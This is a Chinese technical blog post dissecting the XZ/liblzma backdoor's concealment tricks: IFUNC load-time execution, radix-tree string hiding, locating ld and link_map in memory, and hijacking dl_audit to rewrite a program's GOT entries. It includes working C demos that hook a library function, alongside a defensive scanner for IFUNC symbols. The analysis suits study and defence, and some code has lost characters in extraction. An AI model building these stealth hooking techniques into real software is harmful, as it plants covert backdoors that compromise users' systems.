原创 Paper | 从 XZ 后门学奇技淫巧

2024-05-11 17:51:04 浏览数 (2)

时间:2024年5月9日

对CVE-2024-3094漏洞的分析文章网上已经有好几篇了,这里来学习一下在该事件中后门隐藏的奇技淫巧。

1 技巧一之GLIBC的IFUNC特性

GLIBC 中存在一个名为IFUNC(Indirect Functions)的特性。为了理解IFUNC的功能,我们可以先看一段简单的示例代码,如下所示:

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>

void foo_1()
{
    printf("This is foo1n");
}

void foo_2()
{
    printf("This is foo2n");
}

typedef void (*foo_t)();

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
    char *path;

  printf("do foo_resolvern");
    path = getenv("FOO");
    if (path)
        return foo_1;
    else
        return foo_2;
}

void __attribute__((constructor)) initFunc(void) {
    printf("do initFunc.n");
}

int main(int argc, char *argv[])
{
    char *env;
    printf("Do Main Func.n");
    env = getenv("FOO");
    if (env)
        printf("do test FOO = %sn", env);
    foo();
    return 0;
}

上述代码片段首先是定义一个IFUNC特性的foo函数:void foo() __attribute__((__ifunc__("foo_resolver")));

foo函数执行的代码由foo_resolver函数决定,我们编写foo_resolver函数的作用是用来判断是否设置了环境变量FOO,如果设置了,那么foo函数等于foo_1函数,否则等于foo_2函数。

最后,代码还包含一个构造函数initFunc,用于比较构造函数和IFUNC函数执行的顺序。

接下来,我们将编译并运行上述代码,如下所示:

代码语言:javascript复制
# 加上-g,方便我们后续调试
$ gcc test.c -o test -g
$ ./test
do foo_resolver
do initFunc.
Do Main Func.
This is foo2
$ FOO=1 ./test
do foo_resolver
do initFunc.
Do Main Func.
do test FOO = 1
This is foo2

从上面的执行结果来看,可以能发现:

  • 执行顺序是foo_resolver -> initFunc -> main
  • foo_resolver函数无法获取FOO环境变量。

接着再从代码层面来看,通过IDAtest程序进行逆向分析,发现foo函数被放在.got表中,并没有发现任何调用foo_resolver函数的代码。说明是由glibc的ld加载时确定foo函数的地址,但是ld是如何知道要调用foo_resolver函数呢?经过研究发现:

代码语言:javascript复制
$ readelf -s test |grep foo
    19: 00000000000011c3    26 FUNC    GLOBAL DEFAULT   16 foo_2
    31: 00000000000011a9    26 FUNC    GLOBAL DEFAULT   16 foo_1
    32: 00000000000011dd    71 IFUNC   GLOBAL DEFAULT   16 foo
    38: 00000000000011dd    71 FUNC    GLOBAL DEFAULT   16 foo_resolver

在二进制文件的符号表中,定义了foo函数的IFUNC标志位,且定义的地址为foo_resolver函数的地址。

从这可以推断出,glibc在处理.got表的地址时,如果发现IFUNC标志位,那么执行该函数,然后把返回值写入.got表中。

下一步,将对代码进行调试来确认我们的推断,调试过程如下:

代码语言:javascript复制
$ gdb test
pwndbg> b foo_resolver
pwndbg> r
......
 ? 0   0x5555555551e9 foo_resolver 12
   1   0x7ffff7fd46eb _dl_relocate_object 2443
   2   0x7ffff7fd46eb _dl_relocate_object 2443
   3   0x7ffff7fd46eb _dl_relocate_object 2443
   4   0x7ffff7fe6a63 dl_main 8579
   5   0x7ffff7fe283c _dl_sysdep_start 1020
   6   0x7ffff7fe4598 _dl_start 1384
   7   0x7ffff7fe4598 _dl_start 1384
......
 RAX  0x5555555551c3 (foo_2) ?— endbr64
  ? 0x555555555223 <foo_resolver 70>             ret                                  <0x7ffff7fd46eb; _dl_relocate_object 2443>
pwndbg> x/10gx 0x3FD0   0x555555554000 - 0x10
0x555555557fc0 <puts@got.plt>:  0x00007ffff7e0ce50  0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x0000000000001060  0x00007ffff7db5dc0
pwndbg> b main
pwndbg> x/10gx 0x3FD0   0x555555554000 - 0x10
0x555555557fc0 <puts@got.plt>:  0x00007ffff7e0ce50  0x00007ffff7dec6f0
0x555555557fd0 <*ABS*@got.plt>: 0x00005555555551c3  0x00007ffff7db5dc0

在上面的调试内容中,我们可以得知:

  • foo_resolver函数的调用流程大概是:_dl_start->dl_main->_dl_relocate_object -> foo_resolver
  • *ABS*@got.plt就是foo函数的got表,该got表的值在调用完foo_resolver函数后写入。

到这,可以解答前面的一个疑惑:由于foo_resolver函数在dl链接阶段被加载调用,此时环境变量尚未被GLIBC加载,因此调用getenv函数将返回NULL,导致最终返回的都是foo_2函数。

到此我们可以得出结论:GLIBC的IFUNC特性,可以让我们像使用构造函数(__attribute__((constructor)))一样,在程序的LD加载阶段时自动运行。XZ后门利用了这一特性,在liblzma.so依赖库文件被加载时,自动运行后门代码。

另外,需要注意的是,IFUNC特性在glibc 2.11.1版本以上才被支持,如需编译含有IFUNC功能的代码,需使用GCC 4.6以上的编译器,且要求GNU Binutils版本在2.20.1以上。

我们还可以写一个脚本简单的check一下所有包含IFUNC的so库:

代码语言:javascript复制
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

import os
import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection

def find_all_files(path):
    for root, dirs, files in os.walk(path):
        for file in files:
            yield os.path.join(root, file)

def is_elf(file):
    try:
        with open(file, "rb") as f:
            data = f.read(4)
    except:
        return False
    return data == b"x7FELF"

def get_ifunc_symbols(file_path):
    with open(file_path, 'rb') as f:
        elffile = ELFFile(f)
        ifunc_symbols = []
        for section in elffile.iter_sections():
            # 只处理符号表部分
            if isinstance(section, SymbolTableSection):
                for symbol in section.iter_symbols():
                    # 检查符号类型是否为 'STT_GNU_IFUNC'
                    if symbol['st_info']['type'] == 'STT_LOOS':
                        ifunc_symbols.append(symbol)
        return ifunc_symbols

for file in find_all_files(sys.argv[1]):
    if is_elf(file):
        symbols = get_ifunc_symbols(file)
        if symbols:
            print(f"{file} found ST_IFUNC")
        for symbol in symbols:
            print(f"Name: {symbol.name}, Address: {hex(symbol['st_value'])}")

使用方法如下:

代码语言:javascript复制
$ python3 check.py /lib
/lib/x86_64-linux-gnu/libz.so.1.2.11 found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libz.so found ST_IFUNC
Name: crc32_z, Address: 0x75e0
/lib/x86_64-linux-gnu/libmvec.so.1 found ST_IFUNC
Name: _ZGVdN8vv_atan2f, Address: 0x8450
Name: _ZGVdN4v_atan, Address: 0x6a90
Name: _ZGVbN4v_acosf, Address: 0x7e50
Name: _ZGVdN8v_sinf, Address: 0x8780
......

最后还需考虑一点,在上述示例中,IFUNC函数在可执行程序中执行,因此设置断点相对较容易。然而,如果需要调试so库中的IFUNC函数,可能需要采用更巧妙的方法来设置断点。

随便找了一个示例代码,编译命令使用:gcc test2.c -o test2 -llzma -g

然后使用patchelf工具,修改二进制程序的RPATH为liblzma.so的路径:patchelf --set-rpath /home/ubuntu/xz-utils-vul/src/liblzma/.libs/ test2

接着写一个.gdbinit脚本,可以直接断到lzma_crc64函数:

代码语言:javascript复制
$ cat .gdbinit
b _start
r
b _dl_relocate_object
c
b *0x7ffff7f84580  (自行计算lzma_crc64地址)
c
c
$ gdb test2
pwndbg> source .gdbinit
 ? 0x7ffff7f84580    endbr64

2 技巧二之利用 Radix Tree 隐藏字符

参考资料

经常做逆向分析的都知道,很多时候都是通过特殊字符串来定位代码。但是在XZ事件后门文件liblzma.so中,却没有发现任何异常字符串,尽管我们了解到XZ后门是针对SSH服务的关键函数进行hook,但是在liblzma.so中并未包含任何sshd相关的字符串,这是因为XZ后门利用了radix tree算法。

已经有人针对该算法把liblzma.so中的字符串进行提取,可以参考提取出的字符串和提取字符串的代码。

上述代码是针对该算法的逆向过程,我学习了该算法,并用Python编写了一个正向过程的代码,如下所示:

代码语言:javascript复制
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

class RadixObject:
    louint64: int
    hiuint64: int
    childPtr: dict
    def __init__(self, lo: int, hi: int):
        self.louint64 = lo
        self.hiuint64 = hi
        self.endPoint = 0
        self.childPtr = {}
    # 判断char是否在当前链表中,char的范围是0-128
    def isExist(self, char: int) -> bool:
        if char < 0 or char >= 128:
            raise Exception(f"isExist: char value err, char = {char}")
        if char < 0x40:
            return (self.louint64 >> char) &amp; 1 == 1
        else:
            char -= 0x40
            return (self.hiuint64 >> char) &amp; 1 == 1
    def getChild(self, char: int):
        if char >= 0x40:
            char -= 0x40
        return self.childPtr[char]

class RadixTree:
    def __init__(self):
        self.rootRadix: RadixObject = RadixObject(0, 0)

    def insertStr(self, string: bytes) -> int:
        if not self.checkValidStr(string):
            return -1
        currentRadix = self.rootRadix
        for i in string[:-1]:
            currentRadix = self.__add(currentRadix, i)
        self.__add(currentRadix, string[-1], True)
        return 1

    def searchTest(self, string: bytes) -> bool:
        if not self.checkValidStr(string):
            return False
        currentRadix = self.rootRadix
        for c in string[:-1]:
            if not currentRadix.isExist(c):
                return False
            currentRadix = currentRadix.getChild(c)
        if currentRadix.isExist(string[-1]) and (currentRadix.endPoint >> string[-1]) &amp; 1 == 1:
            return True
        return False

    def __add(self, radix: RadixObject, char: int, last: bool = False)->RadixObject:
        if last:
            radix.endPoint |= 1 << char
        if not radix.isExist(char):
            if char < 0x40:
                radix.louint64 |= 1<<char
            else:
                char -= 0x40
                radix.hiuint64 |= 1<<char
            radix.childPtr[char] = RadixObject(0, 0)
        else:
            if char >= 0x40:
                char -= 0x40
        return radix.childPtr[char]

    # string: ascii 0 - 128
    def checkValidStr(self, string: bytes) -> bool:
        for i in string:
            if i >= 0 and i < 128:
                continue
            return False
        return True

def main():
    rd = RadixTree()
    rd.insertStr(b"ABCDEFG")
    rd.insertStr(b"IIBBJ")
    rd.insertStr(b"ABCDE")
    print(rd.searchTest(b"ABCDE"))

if __name__ == "__main__":
    main()

上述编写的radix tree算法相比于XZ后门中的实现简化了压缩存储数据的部分,并且由于使用Python编写,因此更易于理解。

研究XZ后门的过程通常涉及自行在本地编译liblzma.so文件。由于编译环境的不同,导致编译出来的偏移地址可能会略有差异。因此,下面我将根据GitHub上提取字符串的代码,简要解释radix tree算法的逻辑。

在代码中,有两个内存表:tbl_1_memtbl_2_mem,都是从IDA中提取出来的,使用顺序是从后往前。

tbl_1_mem表中,数据记录了flag信息和指向child链表的指针。每个结构体占用4字节。

tbl_2_mem表中,存储着字符信息。每个结构体占用16字节,相当于正向算法代码中的RadixObject对象的louint64hiuint64。每个结构体共128bit(16字节),可以表示128个字符。由于ASCII码范围是从0到127,因此一个结构体可以表示任意一个ASCII码。

在代码中定义了tbl_2的起始偏移为:tbl_2_offs=0x760,我们再计算一下表的大小和其差值:len(tbl_2_mem) - 0x760 = 16

可以看出radix tree的根链表在tbl_2的最后16字节中,还可以再算算tbl_1:

代码语言:javascript复制
>>> popcount(tbl_2[0])   popcount(tbl_2[1])
30 # 计算根链表中储存着几个字符,也就是储存的字符串的起始字符有几种
>>> len(tbl_1_mem) - 0x13e8
120
>>> 120 / 4
30 # 从这可以看出tbl_1中最后120字节储存着根链表的30个字符的标志信息和子链表的指针

如果要实现XZ后门中radix tree算法的效果,首先要把上面提供的python代码转换为C代码,接着需要对内存进行压缩,比如在python代码中,子链表的key直接设置为字符的ascii码,在XZ后门中,key设置的是从0开始的第n个字符。

radix tree算法可以很好的隐藏我们代码中的字符串信息,无需把字符串编译到代码中,有点类似签名验证,都是不可逆的算法,区别就是radix tree算法能很容易的通过爆破还原出所有的字符串信息。

3 技巧三之获取所有依赖库信息

参考资料

这里简单阐述一下XZ后门获取依赖库信息的方法。

  1. 获取__tls_get_addr函数的.plt表地址,根据该地址获取到其.got表地址,从而获取到__tls_get_addr函数的实际地址。
  2. 由于__tls_get_addr函数是位于ld中的函数,所以可以根据该地址爆破出ld的基地址。
  3. 获取到ld的基地址后,就可以匹配ld的ELF头信息,这样就能很容易的匹配到ld的任意符号地址。
  4. 首先匹配的是ld的__libc_stack_end指针,该变量指向栈底,正常情况下,该地址之后只储存着程序执行的参数和环境变量。
  5. 匹配到__libc_stack_end地址后,就可以获取到执行参数和环境变量,对参数和环境变量进行一些过滤,满足条件的才进入后续执行。
  6. 接着匹配ld的_r_debug指针,该指针储存着r_debug结构体,在该结构体中储存着struct link_map *r_map结构体,r_map结构体储存着所有依赖库的地址。
  7. 根据r_map结构体,就能直接匹配到libc.so, libcrypto, sshd等文件的内存地址,知道地址后,根据第三步的步骤,就能获取到任意想匹配的符号地址,比如RSA_public_decrypt函数地址。

上面的步骤看似简单,但代码仍相对复杂。根据上述逻辑,编写了一个简化的demo代码,如下所示:

代码语言:javascript复制
// testlib.c
// 编译命令:gcc testlib.c -o libtest.so -shared -fPIC -g
#include "testlib.h"

extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_; 
void *ld_base_addr = 0;

void foo_1()
{
    printf("This is foo1n");
}

void foo_2()
{
    printf("This is foo2n");
}

void *findLdBase()
{
    void * tls_get_addr = __tls_get_addr;
    void *ld_end_addr = 0;
    ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
    ld_end_addr = ld_base_addr - 0x20000;
    while (memcmp(ld_base_addr, "x7F""ELF", 4))
    {
        ld_base_addr -= 0x1000;
        if (ld_base_addr == ld_end_addr) {
            printf("findLdBase Error.n");
            return (void *)-1;
        }
    }
    printf("success find ld base addr: %pn", ld_base_addr);
    return ld_base_addr;
}

void *findSymAddr(void *addr, const char *symbol) {
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
    Elf64_Phdr *phdr = (Elf64_Phdr *)(addr   ehdr->e_phoff);
    Elf64_Dyn *dyn = NULL;
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;
    void (*symAddr)();

    for (int i = 0; i < ehdr->e_phnum; i  ) {
        if (phdr[i].p_type == PT_DYNAMIC) {
            dyn = (Elf64_Dyn *)(addr   phdr[i].p_vaddr);
            break;
        }
    }

    if (dyn == NULL) {
        printf("Dynamic segment not found.n");
        return NULL;
    }

    for (int i = 0; dyn[i].d_tag != DT_NULL; i  ) {
        if (dyn[i].d_tag == DT_SYMTAB) {
            symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
        }
        if (dyn[i].d_tag == DT_STRTAB) {
            strtab = (char *)(dyn[i].d_un.d_ptr);
        }
    }

    if (symtab == NULL || strtab == NULL) {
        printf("Symbol table or string table not found.n");
        return NULL;
    }

    for (int i = 0; &symtab[i] < strtab; i  ) {
        if (strcmp(strtab   symtab[i].st_name, symbol) == 0) {
            symAddr = (void *)addr   symtab[i].st_value;
            printf("Symbol %s found at address %pn", symbol, symAddr);
            return symAddr;
        }
    }

    printf("Symbol %s not found.n", symbol);
    return NULL;
}

void getArgsEnv(void *stackAddr[])
{
    char **argv = *(char **)stackAddr;
    char **envp;
    int i;
    int argc = (int)argv[0];
    printf("argc = %dn", argc);
    for (i=1; argv[i] != 0; i  )
    {
        printf("argv[%d] = %sn", i-1, argv[i]);
    }
    envp = &argv[i 1];
    for (i=0; envp[i] != 0; i  )
    {
        printf("envp[%d] = %sn", i, envp[i]);
    }
}

void getLinkMap(struct link_map *r_map)
{
    char *l_name;
    while (1)
    {
        printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
        if (strstr(r_map->l_name, "libc.so.6"))
        {
            findSymAddr(r_map->l_addr, "system");
        }
        if (!r_map->l_next)
            break;
        r_map = r_map->l_next;
    }
}

int doBackdoor()
{
    int status;
    void (*ldBaseAddr)();
    void (*libc_stack_end)();
    struct r_debug* rc_debug;

    ldBaseAddr = findLdBase();
    if ((int64_t)ldBaseAddr <= 0)
        goto error;
    libc_stack_end = findSymAddr(ldBaseAddr, "__libc_stack_end");
    getArgsEnv(libc_stack_end);
    rc_debug = findSymAddr(ldBaseAddr, "_r_debug");
    getLinkMap(rc_debug->r_map);
    error:
    return -1;
}

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
    char *path;
    printf("do foo_resolvern");
    doBackdoor();
    path = getenv("PATH");
    if (path)
        return foo_1;
    else
        return foo_2;
}

再随便写一个main函数:

代码语言:javascript复制
// test4.c
// 编译命令:gcc test4.c -o test4 -L. -ltest
#include "testlib.h"

int main(int argc, char *argv[])
{
    foo();
    return 0;
}

头文件内容为:

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <elf.h>
#include <link.h>

typedef void (*foo_t)();

foo_t foo_resolver();
void foo_2();
void foo_1();

运行结果如下所示:

代码语言:javascript复制
$ LD_LIBRARY_PATH=. ./test4
do foo_resolver
success find ld base addr: 0x7f8a42a9f000
Symbol __libc_stack_end found at address 0x7f8a42ad8a90
argc = 1
argv[0] = ./test4
envp[0] = USER=ubuntu
......
Symbol _r_debug found at address 0x7f8a42ada118
name = , addr = 0x5624d7d18000, ld addr = 0x5624d7d1bdb8
name = linux-vdso.so.1, addr = 0x7ffe2979c000, ld addr = 0x7ffe2979c3e0
name = ./libtest.so, addr = 0x7f8a42a98000, ld addr = 0x7f8a42a9bdf0
name = /lib/x86_64-linux-gnu/libc.so.6, addr = 0x7f8a42869000, ld addr = 0x7f8a42a82bc0
Symbol system found at address 0x7f8a428b9d70
name = /lib64/ld-linux-x86-64.so.2, addr = 0x7f8a42a9f000, ld addr = 0x7f8a42ad8e80
This is foo2

上述代码属于XZ后门的简化版本,仅实现了核心功能,并尽可能直接使用库函数。值得注意的是,在XZ后门中,基本没有使用库函数,而是自己实现了所有功能。

下面简单梳理一下上面代码的主要逻辑:

  1. 通过__tls_get_addr地址爆破出ld的基地址。
  2. 实现一个函数,能通过ELF文件的内存基地址,找到任意符号地址。
  3. 搜索出__libc_stack_end地址,然后根据该地址输出参数和环境变量信息。
  4. 搜索出_r_debug地址,通过该地址找到所有加载的程序的信息。
  5. XZ后门在sshd程序中找到RSA_public_decrypt地址,模拟成在libc中找到system函数地址。

3.1 注意事项

  1. name = 空白的为主程序。
  2. findSymAddr函数是使用调教过后的GPT4自动生成。
  3. 在上面的代码中是直接获取__tls_get_addr函数.got表的地址,所以可以直接获取函数的实际地址。但是在XZ后门中,是获取__tls_get_addr函数.plt.got的地址,暂时没明白是如何实现的,使用命令readelf -r liblzma_la-crc64_fast.o(存在后门),发现有一个重定向表,暂时也不清楚是如何实现的。
代码语言:javascript复制
Relocation section '.rela.rodata.rc_encode' at offset 0x157c8 contains 2 entries:
  Offset          Info           Type           Sym. Value    Sym. Name   Addend
000000000000  010e0000001f R_X86_64_PLTOFF64 0000000000000000 __tls_get_addr   0
000000000008  00d400000019 R_X86_64_GOTOFF64 0000000000000000 .Lx86_coder_destroy   0

研究了一下,没明白在不patch二进制的情况下,如何在.rodata段编译一个R_X86_64_PLTOFF64/R_X86_64_GOTOFF64类型的值。

4 技巧四之hook其他依赖库函数

参考资料

很多文章都有说到XZ后门是利用dl_audit机制来进行函数hook的,但是基本上都认为大家都知道该机制,并没有讲解该机制流程。

所以,下面将对XZ后门利用dl_audit机制进行函数hook的流程进行说明。

有一篇参考文章中提到在_dl_audit_symbind_alt函数中调用install_hooks函数,但是在ubuntu22.04的环境上进行调试发现,调用的是_dl_audit_symbind,并不会调用到_dl_audit_symbind_alt函数。

位于elf/do-rel.h文件中的elf_dynamic_do_Rel函数会调用_dl_audit_symbind,代码如下所示:

代码语言:javascript复制
// elf/do-rel.h
......
          elf_machine_rel (map, scope, r, sym, rversion, r_addr_arg,
                   skip_ifunc);
#if defined SHARED && !defined RTLD_BOOTSTRAP
          if (ELFW(R_TYPE) (r->r_info) == ELF_MACHINE_JMP_SLOT
          && GLRO(dl_naudit) > 0)
        {
          struct link_map *sym_map
            = RESOLVE_MAP (map, scope, &sym, rversion,
                   ELF_MACHINE_JMP_SLOT);
          if (sym != NULL)
            _dl_audit_symbind (map, NULL, sym, r_addr_arg, sym_map);
        }
#endif
        }
......

通过上面代码发现,首先需要满足GLRO(dl_naudit) > 0条件才会进入_dl_audit_symbind函数。

_dl_audit_symbind位于elf/dl-audit.c文件中,部分代码如下所示:

代码语言:javascript复制
// elf/dl-audit.c
void
_dl_audit_symbind (struct link_map *l, struct reloc_result *reloc_result,
           const ElfW(Sym) *defsym, DL_FIXUP_VALUE_TYPE *value,
           lookup_t result)
{
  bool for_jmp_slot = reloc_result == NULL;

  /* Compute index of the symbol entry in the symbol table of the DSO
     with the definition.  */
  unsigned int boundndx = defsym - (ElfW(Sym) *) D_PTR (result,
                            l_info[DT_SYMTAB]);
  if (!for_jmp_slot)
    {
      reloc_result->bound = result;
      reloc_result->boundndx = boundndx;
    }

  if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0)
    {
      /* Set all bits since this symbol binding is not interesting.  */
      if (!for_jmp_slot)
    reloc_result->enterexit = (1u << DL_NNS) - 1;
      return;
    }
......
  for (unsigned int cnt = 0; cnt < GLRO(dl_naudit);   cnt)
    {
      /* XXX Check whether both DSOs must request action or only one */
      struct auditstate *l_state = link_map_audit_state (l, cnt);
      struct auditstate *result_state = link_map_audit_state (result, cnt);
      if ((l_state->bindflags & LA_FLG_BINDFROM) != 0
      && (result_state->bindflags & LA_FLG_BINDTO) != 0)
    {
      if (afct->symbind != NULL)
        {
          flags |= for_jmp_slot ? LA_SYMB_NOPLTENTER | LA_SYMB_NOPLTEXIT
                    : 0;
          new_value = afct->symbind (&sym, boundndx,
                     &l_state->cookie,
                     &result_state->cookie, &flags,
                     strtab2   defsym->st_name);
......

经过研究发现_dl_audit_symbind函数必须得满足(l->l_audit_any_plt | result->l_audit_any_plt) == 0条件,且l_stateresult_state均需要满足相应条件,才能进入后续流程调用afct->symbind函数。

比较关键的条件都讲完了,现在说说XZ后门hook函数的逻辑。

  1. 首先在ld中找到_dl_audit_symbind_alt符号,然后在该函数的内存中通过内置的反汇编函数,找到GLRO(dl_audit)GLRO(dl_naudit)变量的地址。(这里可以有个猜测,参考文章这部分分析错了,XZ后门是通过_dl_audit_symbind_alt函数匹配出两个变量的地址,而不是之后会调用该函数。)
  2. 把dl_naudit赋值为1,dl_audit结构体的symbind64函数指针设置为install_hook函数。
  3. 根据r_debug结构体中匹配出的sshd的ELF文件的link_map结构体,将其成员变量l_audit_any_plt的值设置为1。
  4. ld在处理重定向表时,首先处理的是so库,在处理liblzma.so的重定向表时,调用到后门函数,做了上面这几步的处理。
  5. 最后在处理sshd的重定向表时,会进入到_dl_audit_symbind函数的流程,处理每个重定向表都会调用该函数,随后在install_hook函数对符号名进行过滤,如果匹配到RSA_public_decrypt, EVP_PKEY_set1_RSA, RSA_get0_key符号时,会修改sshd的got表,修改为对应的hook函数,并且修改该符号的Elf64_Sym结构体。

下面写一个简单的demo来模拟一下XZ后门的上述逻辑过程:

代码语言:javascript复制
// testlib.c
// gcc -g testlib.c -o libtest.so -shared -fPIC
#include "testlib.h"

extern const void * __tls_get_addr ();
extern void *_GLOBAL_OFFSET_TABLE_; 
void *ld_base_addr = 0;

struct audit_ifaces dl_audit;
void **aes_func_got;

void foo_1()
{
    printf("This is foo1n");
}

void foo_2()
{
    printf("This is foo2n");
}

void hook_aes_func(char *key, int length, char *enc_key)
{
    printf("do hook_aes_funcnlength = %dn", length);
}

uint64_t install_hook(Elf64_Sym *a1, void *a2, void *a3, void *a4, void *a5, char *sym_name)
{
    printf("do install_hook, sym_name = %sn", sym_name);
    if (!strcmp(sym_name, "AES_set_encrypt_key"))
    {
        *aes_func_got = &hook_aes_func;
        a1->st_value = &hook_aes_func;
    }
    return a1->st_value;
}

void *findLdBase()
{
    void * tls_get_addr = __tls_get_addr;
    void *ld_end_addr = 0;
    ld_base_addr = (void *)((uint64_t)tls_get_addr & 0xFFFFFFFFFFFFF000);
    ld_end_addr = ld_base_addr - 0x20000;
    while (memcmp(ld_base_addr, "x7F""ELF", 4))
    {
        ld_base_addr -= 0x1000;
        if (ld_base_addr == ld_end_addr) {
            printf("findLdBase Error.n");
            return (void *)-1;
        }
    }
    printf("success find ld base addr: %pn", ld_base_addr);
    return ld_base_addr;
}

void *findSymAddr(void *addr, const char *symbol, int mode) {
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)addr;
    Elf64_Phdr *phdr = (Elf64_Phdr *)(addr   ehdr->e_phoff);
    Elf64_Dyn *dyn = NULL;
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;
    void (*symAddr)();
    Elf64_Rela* relas = NULL;
    int rela_count = 0;

    for (int i = 0; i < ehdr->e_phnum; i  ) {
        if (phdr[i].p_type == PT_DYNAMIC) {
            dyn = (Elf64_Dyn *)(addr   phdr[i].p_vaddr);
            break;
        }
    }

    if (dyn == NULL) {
        printf("Dynamic segment not found.n");
        return NULL;
    }

    for (int i = 0; dyn[i].d_tag != DT_NULL; i  ) {
        if (dyn[i].d_tag == DT_SYMTAB) {
            symtab = (Elf64_Sym *)(dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_STRTAB) {
            strtab = (char *)(dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_JMPREL) {
            relas = (Elf64_Rela*) ((char*)dyn[i].d_un.d_ptr);
        }
        else if (dyn[i].d_tag == DT_PLTRELSZ) {
            rela_count = dyn[i].d_un.d_ptr / sizeof(Elf64_Rela);
        }
    }

    if (symtab == NULL || strtab == NULL) {
        printf("Symbol table or string table not found.n");
        return NULL;
    }

    if (mode == 1 && relas == NULL)
    {
        printf("rela table not found.n");
        return NULL;
    }

    if (mode == 1)
    {
        for (int i = 0; i < rela_count; i  ) {
            Elf64_Sym* sym = &symtab[ELF64_R_SYM(relas[i].r_info)];
            if (strcmp(strtab   sym->st_name, symbol) == 0) {
                symAddr = (void *)addr   relas[i].r_offset;
                printf("Symbol %s got found at address %pn", symbol, symAddr);
                return symAddr;
            }
        }
    }
    else {
        for (int i = 0; &symtab[i] < strtab; i  ) {
            if (strcmp(strtab   symtab[i].st_name, symbol) == 0) {
                symAddr = (void *)addr   symtab[i].st_value;
                printf("Symbol %s found at address %pn", symbol, symAddr);
                return symAddr;
            }
        }
    }
    printf("Symbol %s not found.n", symbol);
    return NULL;
}

void setAuditPtr(struct link_map *r_map)
{
    // set l_audit_any_plt
    char *l_name;
    struct link_map *elf_ptr = 0;
    struct link_map *libcrypto_ptr = 0;
    char plt;
    while (1)
    {

        if (r_map->l_name && *(char *)r_map->l_name == 0)
        {
            printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
            elf_ptr = r_map;
            aes_func_got = findSymAddr(r_map->l_addr, "AES_set_encrypt_key", 1);
        }
        else if (strstr(r_map->l_name, "libcrypto.so.3"))
        {
            printf("name = %s, addr = %p, ld addr = %pn", r_map->l_name, r_map->l_addr, r_map->l_ld);
            libcrypto_ptr = r_map;
        }
        if (!r_map->l_next)
            break;
        r_map = r_map->l_next;
    }
    if (!elf_ptr)
    {
        printf("get elf link_map errorn");
        return;
    }
    printf("success get elf link_map = %pn", elf_ptr);
    // 因为导入的是/usr/include/link.h中的struct link_map结构体,不存在l_audit_any_plt变量,直接使用glibc的elf/link.h需要解决太多错误,所以这里直接用偏移。
    plt = *((char *)elf_ptr   0x31e);
    *((char *)elf_ptr   0x31e) = plt | 1;

    // 设置bindflags
    *((char *)elf_ptr   0x488   8) = 2;
    *((char *)libcrypto_ptr   0x488   8) = 1;
}

int doBackdoor()
{
    int status;
    void (*ldBaseAddr)();
    void (*libc_stack_end)();
    void *rtld_global_ro;
    struct r_debug* rc_debug;
    int *dl_naudit;
    struct audit_ifaces **dl_audit_ptr;

    ldBaseAddr = findLdBase();
    if ((int64_t)ldBaseAddr <= 0)
        goto error;
    rc_debug = findSymAddr(ldBaseAddr, "_r_debug", 0);
    setAuditPtr(rc_debug->r_map);

    rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro", 0);
    dl_naudit = rtld_global_ro   920;
    *dl_naudit = 1;
    dl_audit_ptr = rtld_global_ro   912;
    dl_audit.symbind64 = install_hook;
    *dl_audit_ptr = &dl_audit;
    error:
    return -1;
}

void foo() __attribute__((__ifunc__("foo_resolver")));
foo_t foo_resolver()
{
    char *path;
    printf("do foo_resolvern");
    doBackdoor();
    path = getenv("PATH");
    if (path)
        return foo_1;
    else
        return foo_2;
}

还有一个主程序,代码如下:

代码语言:javascript复制
// test5.c
// gcc test5.c -o test5 -L. -ltest -lcrypto
#include "testlib.h"
#include <openssl/aes.h>

void importCryptoDemo()
{
    // The key to use for encryption
    AES_KEY enc_key;
    unsigned char key[AES_BLOCK_SIZE];
    memset(key, 0, AES_BLOCK_SIZE); // Zeroing the key

    AES_set_encrypt_key(key, 128, &enc_key);
}

int main(int argc, char *argv[])
{
    char *path;
    foo();
    importCryptoDemo();
    return 0;
}

执行结果如下所示:

代码语言:javascript复制
$ LD_LIBRARY_PATH=. ./test5
do foo_resolver
success find ld base addr: 0x7f1e9ad80000
Symbol _r_debug found at address 0x7f1e9adbb118
name = , addr = 0x561bd3a66000, ld addr = 0x561bd3a69d90
Symbol AES_set_encrypt_key got found at address 0x561bd3a69fd0
name = /lib/x86_64-linux-gnu/libcrypto.so.3, addr = 0x7f1e9a92f000, ld addr = 0x7f1e9ad6c8a0
success get elf link_map = 0x7f1e9adbb2e0
Symbol _rtld_global_ro found at address 0x7f1e9adb9ae0
do install_hook, sym_name = AES_set_encrypt_key
do install_hook, sym_name = calloc
do install_hook, sym_name = free
do install_hook, sym_name = malloc
do install_hook, sym_name = realloc
This is foo2
do hook_aes_func
length = 128

模拟XZ后门hook的逻辑,把AES_set_encrypt_key函数替换成hook_aes_func函数。

5 总结

参考资料

本文中测试的demo代码是按照XZ后门的原理,化简后编写出来的,XZ后门的代码复杂度比上面的demo高出非常多,除了lzma_alloc函数,XZ后门中没有依赖其他任何库函数,完全是自行编写代码实现,比如对代码段进行反汇编,匹配出dl_audit地址,工作量是非常大的。尽管对其原理进行了了解,但要实现它仍需要很大的努力。

6 参考链接

